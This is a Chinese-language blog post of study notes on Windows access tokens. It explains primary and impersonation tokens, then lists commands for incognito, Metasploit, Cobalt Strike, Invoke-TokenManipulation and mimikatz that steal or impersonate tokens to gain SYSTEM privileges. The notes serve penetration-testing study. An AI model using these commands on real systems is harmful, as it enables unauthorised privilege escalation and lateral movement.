美文网首页
Windows Access Token 学习

Windows Access Token 学习

作者: CSeroad | 来源:发表于2020-05-02 19:40 被阅读0次

前言

最近在总结windows提权时,关注到了令牌窃取。也属于提权的一种姿势,这里简单学习一下。

访问令牌

产生

当用户登录系统成功后,系统会生成与这个用户账户相关联的访问令牌。每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token。一般情况下,用户双击运行一个程序,都会拷贝explorer.exe的Access Token。

简介

访问令牌(Access Token)是Windows操作系统用描述进程或者线程安全上下文的一个对象。
Windows下有两种类型的Token令牌:授权令牌和模拟令牌。

  • 授权令牌(Delegation Token),也叫主令牌,是由windows内核创建并分配给进程的默认访问令牌,每一个进程有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文。用于交互式登录(如rdp登录访问)。

  • 模拟令牌(Impersonation Token),所在进程的主令牌会自动附加到当前的线程上,作为线程的安全上下文。而线程可以运行在另一个非主令牌的访问令牌下执行,而这个令牌被称为模拟令牌。用于非交互式的会话(利用WMI进行远程访问)。

主令牌与进程相关;模拟令牌与模拟令牌的线程相关。

注:两种令牌会在系统重启或者关机后才会全部清除,不然将会一直在内存中存留。也就是说,如果机器不关机或者重启的话,就会存在散落的令牌。在系统注销后,具有授权令牌的用户会变为模拟令牌Impersonation Token,但依然有效。默认情况下,当前用户只能看到当前用户自己和比自己权限低的所有访问令牌。

组成

Windows Access Token 组成如下:

  • 用户帐户的安全标识符(SID)
  • 用户所属的组的SID
  • 用于标识当前登录会话的登录SID
  • 用户或用户组所拥有的权限列表
  • 所有者SID
  • 主要组的SID
  • 访问控制列表
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 限制SID的可选列表
  • 目前的模拟等级
  • 其他统计数据

令牌伪造

令牌伪造常用于进行提权、降权和横向渗透等等。

Incognito.exe工具

incognito.exe list_tokens -u   查看本地可用的token       
incognito.exe -h IP -u administrator -p Password  -g list_tokens -u  通过IPC远程列举tokens
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe   以指定token执行命令
image.png

metasploit

load incognito  加载incognito
list_tokens -u  列举token
getuid          查看当前token
getsystem       提升至system权限
impersonate_token "NT AUTHORITY\\SYSTEM"  模拟令牌的窃取
steal_token 1252        从进程中窃取
rev2self       返回之前token
drop_token  返回之前token
image.png

CobaltSrike

steal_token  1234  从1234进程窃取用户令牌
image.png

Invoke-TokenManipulation.ps1 脚本

github 下载import导入该脚本。

Invoke-TokenManipulation -Enumerate | out-file token.txt  列出当前散落的令牌,并保存到 token.txt 文件里
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM" 将当前cmd提升至system权限下
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcesId 1234   已UID的形式,提升权限
image.png image.png

mimikatz

token::list     查看当前机器中的所有用户令牌
token::whoami   查看当前的令牌
token::Elevate  提升为system令牌

总结

想获取系统的system权限可以伪造主令牌,也可以伪造模拟令牌。
伪造主令牌时,需要创建进程或者注入到某个进程。比如steal_token命令;
伪造模拟令牌时,需要复制或者模拟线程。比如impersonate_token 命令;
如有不对,还请指正。

参考资料

Windows Access Token 学习与利用
Windows访问令牌安全探究
窃取,伪造模拟各种 windows 访问令牌 token 利用

相关文章

网友评论

      本文标题:Windows Access Token 学习

      本文链接:https://www.haomeiwen.com/subject/blnfghtx.html